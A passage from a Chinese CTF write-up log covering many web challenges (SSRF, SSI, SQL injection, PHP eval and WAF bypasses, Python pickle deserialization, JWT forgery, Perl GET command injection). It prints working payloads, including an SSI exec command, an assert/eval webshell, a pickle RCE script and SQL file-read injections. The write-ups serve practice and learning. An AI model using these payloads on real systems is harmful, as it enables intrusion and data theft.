action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
|
整理一下逻辑:通过geneSign页面通过param,action(默认scan不能更改)生成访问cookie,通过De1ta页面get传入参数param表示文件、cookie参数action表示行为、cookie参数sign传入geneSign页面生成的cookie。提示flag在flag.txt中,所以就要利用De1ta页面通过read读取flag.txt,但是geneSign页面生成cookie默认action=sign,只要把action=read,param传入flag.txt即可。
因此构造
此时cookie为(secret_key+flag.txtreadscan)
De1ta页面发包
param=flag.txt, action=readscan
此时cookie为(secret_key+flag.txtreadscan)
绕过检测并拿到flag
[BSidesCF 2019]Futurella
打开之后是乱码,f12看一下拿到flag
[SUCTF 2019]Pythonginx
进去直接给了部分源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
|
理一下逻辑:三次解析传入的url参数,最后一次最为复杂,并且识别成功回读取传入命令参数,可利用file://读取目录中文件
前两次尝试利用unicode绕过,利用小写罗马100: ⅽ (U+217D)成功绕过
查了一下nginx目录结构,先看一下配置文件,发现flag位置
直接读拿到flag
[BJDCTF2020]EasySearch
打开之后登录框,注入没反应
目录扫面发现index.php.swp文件,打开是源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
|
看一下逻辑:password匹配前六位是6d0bc1
的md5值,匹配成功会把username输入内容写入shtml文件,似乎存在ssi漏洞
脚本跑一下md5得到目标字符串
抓包发现生成的文件路径
写入ssi命令进行访问
读文件拿到flag
Payload:
1
|
username=<!--#exec cmd="cd ..;cat flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666
|
[BSidesCF 2019]Kookie
进去之后是个注册页面,提示cookie
先试一下注入,没反应,加了个cookie: username=admin,进去拿到flag了
[0CTF 2016]piapiapia
进去时登录注册页面
注入测试了半天没反应,目录扫面发现www.zip,下下来看一下
看一下逻辑:有登录、注册、改信息、看信息几个页面,flag在config.php文件中,其中看信息会读取对象中文件目录,进而获取文件内容base64编码,可以尝试读取config.php文件
通过class.php中管检测替换以及update.php文件中序列化操作进行配合实现反序列化字节逃逸,通过数组绕过长度检测
成功读到config.php文件
base64解码拿到flag
[GYCTF2020]FlaskApp
是一道flask模版注入题,通过获取pin码执行命令
获取pin码教程:https://xz.aliyun.com/t/8092
username: 直接在/etc/passwd中拿到,为root
modname: 默认flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__'))
:Flask
getattr(mod, '__file__', None)
:
str(uuid.getnode())
:
转换成十进制:156863304636404
get_machine_id()
:
算法泡一下拿到pin,成功进入shell
执行命令拿到flag
[极客大挑战 2019]RCE ME
代码审计题,输入eval,但不让输入字母数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
|
取反再取反绕过,但执行system(ls)没反应
怀疑可能禁用了函数,看一下phpinfo果然
利用assert getshellassert(eval($_POST[cmd]));
蚁剑连接成功
但看不了flag
试试命令,不让执行
利用蚁剑插件绕过
发现有一个readflag,看一下里面是乱码,执行一下拿到flag
[MRCTF2020]套娃
进去之后没东西,f12看一下提示,代码审计
1
2
3
4
5
6
7
8
|
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
|
_
利用.
绕过,正则用%0a
截断,进入下一关
第二关,限制本地访问
f12发现jsfuck
解码得
传一下出源码
抓包改一下本地访问,将client-ip: 127.0.0.1
2333利用data伪协议绕过
change函数反写一下传入
拿到flag
[WUSTCTF2020]颜值成绩查询
测试发现是数字布尔盲注,过滤空格
直接上脚本
表名:
flag表列名:flag, value
flag
[FBCTF2019]RCEService
rce题通过cmd输入命令,测试了半天没反应
看wp才知道源码是给的。。(耽误事
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
|
看一下逻辑:通过JSON输入执行cmd属性命令,并且设置了个环境变量,猜测为flag位置
利用json换行绕过关键词
但cat读不到flag,看一下他吧ls放进了这个目录,但没有cat命令,因此可以执行ls却不能执行其他命令
搜一下linux目录结构,找一下cat绝对路径在/bin/cat
执行拿到flag
看wp还有一种方法,通过构造超过NFA回溯上限的方式使preg_match执行失败,进而绕过
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
[Zer0pts2020]Can you guess it?
进去看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
|
看一下逻辑:猜64位随机字符串,猜对了给flag,但肯定走不通。所以看一下$_SERVER['PHP_SELF'], basename()
这两个有什么问题么
$_SERVER[‘PHP_SELF’]获取url后的路径,除去参数
basename()获取文件名
可构造/index.php/config.php令其读取config.php内容,但被正则过滤
看一下正则,config.php结尾不行,后面加字符绕过,其中basename()会去掉不可见字符,可利用绕过
Payload:
1
|
index.php/config.php/%aa?source
|
[CISCN2019 华北赛区 Day1 Web2]ikun
打开之后f12看提示
提示买lv6
页数特别多一页一页找很麻烦,写了个脚本跑一下在181页
进去之后买但钱不够
抓包改一下试试
改钱数不好使,改折扣成功,拿到新提示Location: /b1g_m4mber
访问看一下。提示只允许admin
有jwt看一下结构
上工具爆破出密钥
构造密钥
访问出页面
这个按钮没啥反应,看一下f12,发现源码泄漏
下下来看一下逻辑:在admin页面存在反序列化漏洞,学一下python pickle反序列化,可利用直接执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
|
构造反序列化代码(搞了半天python3不好使,看wp要用python2
1
2
3
4
5
6
7
8
9
10
|
import pickle
import urllib
import commands
class Rce(object):
def __reduce__(self):
return (commands.getoutput,('ls',))
a = Rce()
print urllib.quote(pickle.dumps(a))
|
执行成功
最后在根目录flag.txt中拿到flag
[CSCCTF 2019 Qual]FlaskLight
进来看提示,通过get接受search参数
SSTI试一下,成功
看一下config,提示flag在
测试发现globals被过滤了,反写绕过,执行命令(python2
在/flasklight/cat coomme_geeeett_youur_flek中读到flag
[GWCTF 2019]枯燥的抽奖
进去之后是个输入框,看一下源码,知道有个check.php
读一下出源码
读一下逻辑:通过php mt_rand生成随机字符串,但是伪随机数,直接上工具php_mt_seed跑出seed就可以读到原始随机字符串
先根据给出的前十位构造输入
跑一下出seed
跑一下源码出字符串(注意php版本
输入拿到flag
[NCTF2019]True XML cookbook
xxe题,直接读根目录没有
读一下doFlag.php源码看一下
解码发现给了用户名密码,但登录没反应
看别人wp走的是内网探测
先读敏感文件获取ip
写了个脚本跑一下扫端口拿到flag
[CISCN2019 华北赛区 Day1 Web1]Dropbox
考点:任意文件读取,phar协议利用
登录注册进去,有一个文件上传口
测试上传禁了.htaccess,并且白名单判断mime,并通过mime改文件后缀,上传走不太通
随便上传一个文件后发现下载和删除功能,试试任意文件下载
利用../跳路径成功下到源码
看一下逻辑:在class中存在file_get_contents(),并且download.php中有利用,但禁止读带flag的文件
1
2
3
4
5
6
7
8
9
10
11
12
13
|
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
|
题目提示利用phar协议,学一下。。
本地环境问题无法生成phar文件,php.ini改了没反应
[RCTF2015]EasySQL
考点:sql报错注入
看题目sql注入题
测试发现注册页面有过滤,应该是注入点
测试一番,在改密码界面找到错误信息回显点
报错注入测试成功
sql流程走(就是麻烦
表
user表的列名
但是real_flag_1s_here里面数据太多
利用正则匹配找一下flag开头,拿到前段
利用取反拿到后半段
那控制台js反转一下
[WUSTCTF2020]CV Maker
进去之后登录注册,先不测试,先登录进去看一下,有个文件上传点
改一下文件头直接穿php成功,并通过抓包获取php文件位置
蚁剑连接成功,根目录找到flag
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
考点:sql报错注入
页面包含插入查询删除
测试发现修改页面有回显
利用报错,测试的到数据库名
流程走
表
列
显示不全,用substr拼接,最终表名
user_id,address,old_address,user_name,phone
挨个表查没有flag数据
看wp人家题前告诉flag在根目录flag.txt中
所以直接读文件
Payload:
1
|
1' or updatexml(1,concat(0x7e,(substr((select load_file('/flag.txt')),1)),0x7e),1)--+
|
[网鼎杯 2020 白虎组]PicDown
考点:任意文件读取
打开就一个输入框,通过get穿进去url参数
测试发现将url下载成图片形式
直接尝试url读文件/flag,成功下载,vi读文件拿到flag
[CISCN2019 总决赛 Day2 Web1]Easyweb
考点:sql盲注构造,addslashes绕过,文件上传
进去是个登录界面,注入半天没反应
信息收集一下,robots.txt中发现提示
拿到image.php.bak备份文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
|
读一下逻辑:
用addslashes函数转义符号,又进行过滤,可同时利用绕过,将id的第二个单引号转义,与path第一个参数形成包裹,在path处注入
无回显打盲注
库
表
列
没有flag信息,给了用户名密码
登录进去,有一个上传
会将上传文件记录保存本地
随便传一个文件,把文件名改成一句话
上传成功连蚁剑在根目录拿到flag
[HITCON 2017]SSRFme
考点:perl语言 get命令任意命令执行
进去之后直接给源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
10.244.80.206 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
|
看一下逻辑:
创造一个沙盒,并且告诉你文件夹生成方式,在其中根据get输入生成文件,并将shell get命令结果写入
上网查一下get可以执行file协议读取本地文件,可以直接读取目录
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。
直接读flag没反应,读一下readflag文件直接下载也没有flag
估计是要执行readflag
这里看一下get的任意命令执行,会执行文件名
因此先写一个命令作为文件名写入文件夹,再file这个文件,再将执行结果写入文件
拿到flag
Payload:
1
2
|
?urlfilename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=a
|
[watevrCTF-2019]Cookie Store
考点:session篡改
打开是购买界面,要买100的才会拿到flag,但是钱只有50
抓包看一下cookie,是个base64编码字符串
解码看一下
把钱数改一下上传,成功
买100的拿到flag
[红明谷CTF 2021]write_shell
考点:代码审计,关键词绕过
代码审计题
输入写入文件,过滤了一句话马相关
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
|
利用反引号直接执行命令,tab绕过空格,读取根目录成功
cat拿到flag
[b01lers2020]Welcome to Earth
有点二逼,略
[HFCTF2020]EasyLogin
考点:koa框架,jwt加密代码审计
信息收集:进去是个登录注册,jwt判断用户,用的koa nodejs
直接跑jwt密钥失败
看一下js源码,知道有个api.js,里面可能有密钥
查一下koa目录结构,api放在controllers中,直接url一下拿到api.js源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
|
看一下逻辑
存在语法错误,应为algorithm
可以直接绕过登录
用none伪造jwt
登录成功拿到flag
[GYCTF2020]Ezsqli
考点:sql无列名查询,sql盲注
进去就一个输入框,测试发现是数字型注入,绕过了大部分关键字(or, and, in, if, sleep等
利用报错盲注
跑脚本
查表
payload:
1
|
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
|
直接猜测列名为flag(。。
拿到flag
看了一些别人的wp,无列名查询
payload:
1
|
(select 1,{})>(select * from f1ag_1s_h3r3_hhhhh)
|
考点:git泄漏,二次注入,sql注入构造
进去之后是个留言平台,f12发现git提示
利用githacker把源码弄下来,打开之后代码不完整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
|
根据提示感觉应该是还未提交,所以看一下往期版本
回溯一下得到完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
|
看一下逻辑:
需要进行登录(爆破出用户名密码: zhangwei, zhangwei666
利用二次注入绕过addslash
利用write的category篡改content内容,配合comment中content闭合,(content有回显,直接让content显示查询内容即可)
构造后:
1
2
3
4
|
insert into comment
set category = '' content=database(),/*',
content = '*/--+',
bo_id = '$bo_id';
|
流程走,查了半天没有flag信息,感觉在目录里
查看用户主目录
读操作命令行操作历史文件.bash_history
删了目录中.DS_Store敏感文件,所以16进制读原地址的文件
解码后得到
16进制读,解码拿到flag
*[NCTF2019]SQLi
考点:sql注入构造,sql regexp使用
又一个本校题
看题目sql题,测试半天全都绕过
做一下信息收集
在robots.txt中发现提示
访问hint.txt
看一下,过滤了几乎所有绕过但没过滤regexp,并提示密码输入为admin的密码就给flag
构造思路:利用反斜杠绕过username第二个单引号使passwd部分被吞为参数,然后利用||运算符构造passwd regexp 查询语句,利用注释绕过空格
在url中输入%00会直接被转义,所以不会过滤,可用%00阶段后面的
payload:
1
|
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
|
测试一下回显情况,测试到y时候突然页面跳转到welcome.php
可利用为判断条件
利用\x00代替%00
但是sql比较是浅比较不分大小写,上网看一下wp才知道密码由字母数字下划线组成
跑脚本出passwd
输入拿到flag
[RootersCTF2019]I_<3_Flask
考点:参数爆破 python ssti
看了半天没啥提示
因为是模版注入题,所以可能存在参数
用arjun跑一下,出get参数name
flask ssti简单注入,在目录拿到flag
[NPUCTF2020]ezinclude
考点:php://filter/string.strip_tags任意文件写入漏洞
进去之后f12给提示
测试半天参数没思路,抓包看一下,发现给了个hash
当pass参数输进去,出新提示
进去有个文件包含,测试当前目录根目录flag没反应,读一下当前目录文件只有四个(index.php, flflflag.php, config.php, dir.php)(目录扫描)也没啥信息
include过滤了data, input, zip,所以命令执行走不通了,包含远程文件也没反应
dir.php中有查看tmp目录下文件的操作,但不知道怎么利用
读一些敏感文件也没东西
没思路了只能看wp了
这里考点是CVE-2018-14884漏洞的利用
(php7.0)php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php的垃圾回收机制就不会在继续执行 , 导致 POST的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp
file就会一直留在tmp目录
也就是说执行stip_tags同时上传文件会将上传的文件保留在tmp目录下,这样就可以爆破文件名来getshell(文件名php****)
php?file=php://filter/string.strip_tags/resource=index.php
脚本发包同时写入文件,查看dir.php拿到文件名
再利用flflflflag.php包含文件从而getshell
蚁剑连接成功,看一下根目录,没有flag
看一下phpinfo试试,找到flag
[HarekazeCTF2019]encode_and_encode
考点:php json-decode绕过
给源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
|
读取json输入page,文件包含,但过滤协议以及flag
json-decode可利用unicode绕过
读文件拿到flag
Payload:
1
|
{"page": "\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
|
*[SUCTF 2019]EasyWeb
考点:无字母数字rce,文件上传头过滤,open_basedir目录限制绕过
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
|
涉及知识点(每一个点都是新学的
- 无字母数字rce。因为这里限制了~以及位数,所以不能用二次取反绕过,利用^构造字母形式构造出想要字符进行绕过,并且由于位数限制,只能构造_GET再传参
- 文件上传绕过。没有文件上传点因此要写脚本上传文件,文件头绕过,利用.htacccess二次解析base64编码文件绕过<?过滤,
- 绕过open_basedir,可用蚁剑插件,或者绕过:参考
[CISCN2019 华东南赛区]Double Secret
考点:python rc4解密ssti
进去之后提示secret,直接访问secret页面出新提示
通过get传secret,返回不到什么东西
输入五位报错,在错误页面发现部分源码
将输入进行rc4解密,然后解密后的数据可以ssti
找了个rc4加密脚本用用
跑ssti拿到flag
[GYCTF2020]EasyThinking
考点:thinkphp6.0 phpsessid任意写入文件漏洞
进去是个登录注册平台,有搜索功能
尝试页面报错得知用的是thinkphp
在目录下载下来www.zip备份文件
看一下代码
没看出什么问题
看一下thinkphp6有什么漏洞,发现存在任意文件写入漏洞
在初始化session时若PHPSESSID正好等于32位,则不会对其判断
而PHPSESSID可以用户控制
配合session写入本地,可以任意写入文件
因此在注册时自定义PHPSESSID为32位文件名即可
Thinkphp session位置:runtime/session
然后利用search向session写入数据写入一句话
蚁剑上线插件绕过diable_function,拿到flag
[BJDCTF2020]EzPHP
考点:php代码审计,php特性绕过
进去之后f12发现提示
base32解码后拿到新页面,进去看一下,代码审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
